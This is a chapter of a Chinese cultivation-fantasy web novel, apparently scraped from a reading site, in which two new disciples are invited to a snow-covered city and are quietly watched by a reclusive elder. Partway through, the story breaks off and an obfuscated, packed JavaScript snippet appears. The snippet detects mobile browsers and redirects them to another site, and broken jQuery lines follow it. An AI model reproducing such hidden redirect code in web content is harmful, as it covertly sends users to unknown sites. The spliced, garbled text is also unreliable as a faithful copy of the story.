崔峨与黎秋对视一眼,皆从对方眼中看到一丝茫然,这位仙长,她们并无印象。
门外的人似有所觉,轻笑着补了一句,声音明朗:“瞧我,唐突了。在下胡安安,之前在安阳郡时一直没有在客栈待过。”
顿了顿,胡安安补充道:“但是崔小师妹一定记得我的妹妹胡将时,她与你一起熬过药的,声音比较粗犷的那位。”
经他这么提醒,崔峨才想起那位赠她蜜饯的彩衣仙人,原来这位是她的兄长。
“原来是胡师姐的兄长。”崔峨放下手中的粥勺,起身将门拉开一道缝。
门外立着的青年一身清爽的蓝色长袍,墨发以银冠高高束起,眉眼朗澈,未语先带三分笑意,确是个让人瞧着便心生舒畅的样貌,“多谢胡师兄特意告知。”
“何足谢呢,”胡安安笑着摆摆手,姿态爽利,“飞舟此刻恰好行经封宁城上空。此城世代与我上善门交好,城主近日正设小宴,知晓我等路过,特意传讯相邀。”
他如说一件颇有意思的趣事,“单师姐的意思,是让我来问问二位小师妹——”
胡安安带着点邀请同乐的兴致,拖长了声调。
“可愿一同下船,凑个热闹?也顺道见识一番这仙界城池的风貌,比之凡间,可是另一番光景。”
封宁城啊……
她记得,游戏里的仙界大多地域受灵气滋养,四时如春,寒暑不侵。但这封宁城却是出了名的例外,因着地下深埋的某种特殊寒属灵脉,此城终年酷寒,冰雪覆城。
她尚在沉吟,身侧的黎秋已轻轻“呀”了一声,轻轻拽了拽她的衣角,“崔姐姐……?”
胡安安见黎秋心动,又笑着补了一句:“这封宁城嘛,可是个有趣的地方之一。这里四季皆是严冬模样,积雪终年不化,别有一番清冽气象。”
“不过二位小师妹无需担心,城中自有精妙阵法维系,寒气止于外,内里行走起居并无不便。届时也会为你们备上暖体符,保管周身和暖。”
又笑着:“而且,此次设宴,据说是得了好物。想来场面颇为新奇,错过岂不是可惜。”
“哈,既然是单师姐的意思,那我们便去了。”崔峨也好奇究竟是怎么样的好物,“谢谢胡师兄来告知。”
“太好了!”黎秋立刻轻呼出声。
胡安安抚掌一笑,显然对这个结果很是满意:“哪里算叨扰,同门之间,理当照应。那便说定了,飞舟稍后会在城外泊台暂驻。二位小师妹且稍作准备,半炷香后,容师姐会来接引你们下船。
容剑锋亲自来接,这规格便有些不同了。看来这“凑热闹”,或许比胡安安轻描淡写所言,要更正式几分。
崔峨:“谢谢胡师兄告知。”
黎秋扯了扯崔峨的袖子,仰起的脸上满是期待:“我好期待封宁城啊。”
胡安安爽朗一笑,又殷切叮嘱了两句诸如“封宁城地气寒凉,纵有阵法护持,也当添件厚实外衫”之类的体贴话,便拱手告辞,转身拉开了舱门。
胡安安顺着廊道往主舱方向走,心下还盘算着稍后需向单浣回话,脚下步子轻快。刚转过一处廊角,他脚步蓦地一顿。
前方不远处,一道清瘦的身影静立在廊窗旁,正望着窗外翻涌的云海。那人只是望着窗外,侧脸在朦胧光线下显得过分苍白。
胡安安上前两步,依旧笑着,规规矩矩作揖:“裴长老。”
“嗯。”裴尹生淡淡应下。
廊道内一时安静下来,只有飞舟阵法运行的细微嗡鸣。
胡安安保持着作揖的姿态,心下叫苦。这位裴长老性子古怪,平日除非必要,门中弟子都尽量避着走。他自个儿也不过是因着裴长老每年那寥寥几次的讲法课业考评宽松,才勉强觉得不算太难应付。此刻狭路相逢,对方又明显没有先行离开的意思,这沉默便格外磨人。
片刻,裴尹生才缓缓侧过脸,视线落在胡安安身上,那双颜色偏浅的眸子里没什么情绪,语气也平平:“何事?”
应是问为什么去那个为新来的两个小师妹准备的膳堂”,胡安安如实禀告:“回裴长老,弟子奉单师姐之命,来询问新入门的崔峨、黎秋二位师妹,是否愿顺路往封宁城一观。她们已应允,稍后容师姐会来接引。”
裴尹生没有说话。
为何偏偏是那里?
容剑锋接引……也罢。那孩子虽不如单浣圆融,却胜在严谨规矩,有她看着,至少不会出大的纰漏。
只是想这些……又与他何干。
侧目看着那,他不知崔峨心中所想。
“知道了。”
“那弟子告退。”胡安安察言观色,知他再无吩咐,他才从裴尹生身侧走过,沿着廊道快步离去。
心下却不免泛起一丝疑惑:裴长老方才……是在看崔师妹她们的舱室方向?
窗外,封宁城覆雪的轮廓在云层之下已隐约可见,一片刺目的冷白。
崔峨与黎秋到达时,容剑锋正被众人簇拥在前方。
她依旧身着华丽的彩,备上了冬日的衣衫,腰间挂着那块在安阳郡买的玉佩,容剑锋看见她们,脸上缓缓浮起笑意,却又很快垂落下去,依旧只是为了表露温和的态度,淡淡道:“既然齐了,便走吧。”
她言简意赅,侧身对那几位仙长略一颔首,那几位仙人也微笑着,目光扫过崔峨与黎秋,点头致意。崔峨望去,皆是生面孔,并无熟识之人。
容剑锋引着她们朝出口走去,步履平稳,边走边淡声交代:“应长老另有要务,已带着部分门徒先行离开了。”
“啊,”黎秋轻轻出声,像是才想起来,仰头问,“那……郡王殿下呢?他怎么没有一起来?”
听她提起,崔峨也才恍然察觉。不仅此刻未见林泠踪影,先前用饭时也未曾见到。
闻言,容剑锋摇摇头,“林泠如今的情形,不宜离开飞舟阵法护持的范围。应长老亦有严令,不放心他涉足外界。”
她顿了顿,补充道,“留在舟上,对他、对旁人,都更好。”
听到这儿,崔峨只有一个想法:安心了。
他能留在飞舟上,再好不过。
容剑锋已在出口处停下,回身看向她们,目光在两人厚实的外衫上短暂停留,确认无误,便道:“跟紧我。城中阵法虽隔绝大部分寒气,但某些区域灵流与寒意交织,气息独特,你们莫要擅自离队。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025154|194366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
众仙人点点头,其中一个穿着朴素的仙人笑盈盈问道黎秋:“小师妹今年几岁了?”
黎秋不好意思,下意识拽崔峨的袖子,那仙人便问崔峨,她似乎喜欢逗弄人:“这位师妹今年几岁了呀?”
她脸颊圆乎乎,笑起来便有酒窝,问崔峨时,还喜欢歪头。
崔峨正待开口,却见一只修长的手从旁伸来,轻轻拍了拍那圆脸女仙的肩膀。一位身形高挑的仙人从中走出,略含歉意地对崔峨二人笑了笑,她温声道:“莫怪,她就是这个性子,见了新入门的师弟师妹总爱问上几句。”
说罢,便半是劝哄半是力道地将那还想再问的圆脸仙人轻轻拉走了,“莫要耽误容师姐正事。”
圆脸仙人被拉走时,还回头朝她们眨了眨眼,笑容依旧灿烂。
容剑锋也是斜睨过来,对她们二人解释道:“方才那位是门中前几年才入门的师妹,性子活泼,尤爱逗弄新人,并无恶意。你们不必放在心上。”
她顿了顿,补充了一句,像是为了强调这“逗弄”的无关紧要,“她自己,也不过十九岁罢了。”
呀,比她年纪还小。十九岁,在动辄以百年计的修仙岁月里,确实只是初初起步,难怪容剑锋会用“罢了”来形容。她一时间竟又忘了这游戏里的仙界时间观念与年龄感了。
说到年龄感,崔峨又想起来了裴尹生,裴尹生多大年纪?
说到年龄感……崔峨的思绪不由得飘开了一瞬。那个裴尹生裴长老,他多大年纪了?能位列长老,修为定然深不可测。一般而言,仙界的长老,怎么也得有几百岁的道行了吧?或许两三百岁?若是过了四百岁……那太老了吧?
不过在游戏里,应该只是正值盛年,甚至还算“年轻有为”?
毕竟,这里的“升职”机制现实得近乎赤裸。没有足够漫长的岁月积淀修为,没有足够的功勋证明价值,便难以触碰真正的权柄与地位。她漫无边际地想着,思绪像一片羽毛,在这个念头附近打了个旋儿。
视线里便有了一片深蓝。
飞舟泊台连接城池入口的冰晶长廊另一端,站着一个人。
正是裴尹生。
他竟然也来了。
容剑锋显然也略感意外,“裴长老。”
裴尹生的目光淡淡扫过容剑锋,在她身后的崔峨与黎秋身上极短暂地停留了一瞬。那目光依旧没什么温度,像掠过雪原的风。
他几不可察地颔首,算是回应了容剑锋的见礼,却并未开口解释自己为何在此。
崔峨垂下眼,避开了那道视线,心下却不由地绷紧了些。这巧合,未免太巧。她可不认为这位行事古怪的裴长老,会是专程来赏雪景的。
容剑锋直起身,似乎也无意探询,只侧身让开通道,姿态依旧恭敬:“长老请先行。”
裴尹生却未动。
他对着容剑锋:
“你带她们先行。”
语气依旧听不出什么,崔峨还是听出来了,他不是来同行的,只是来看着她们入城的。
容剑锋微微一怔,旋即颔首:“是。”
她不再多言,侧身对崔峨与黎秋示意,率先步入那冰晶长廊。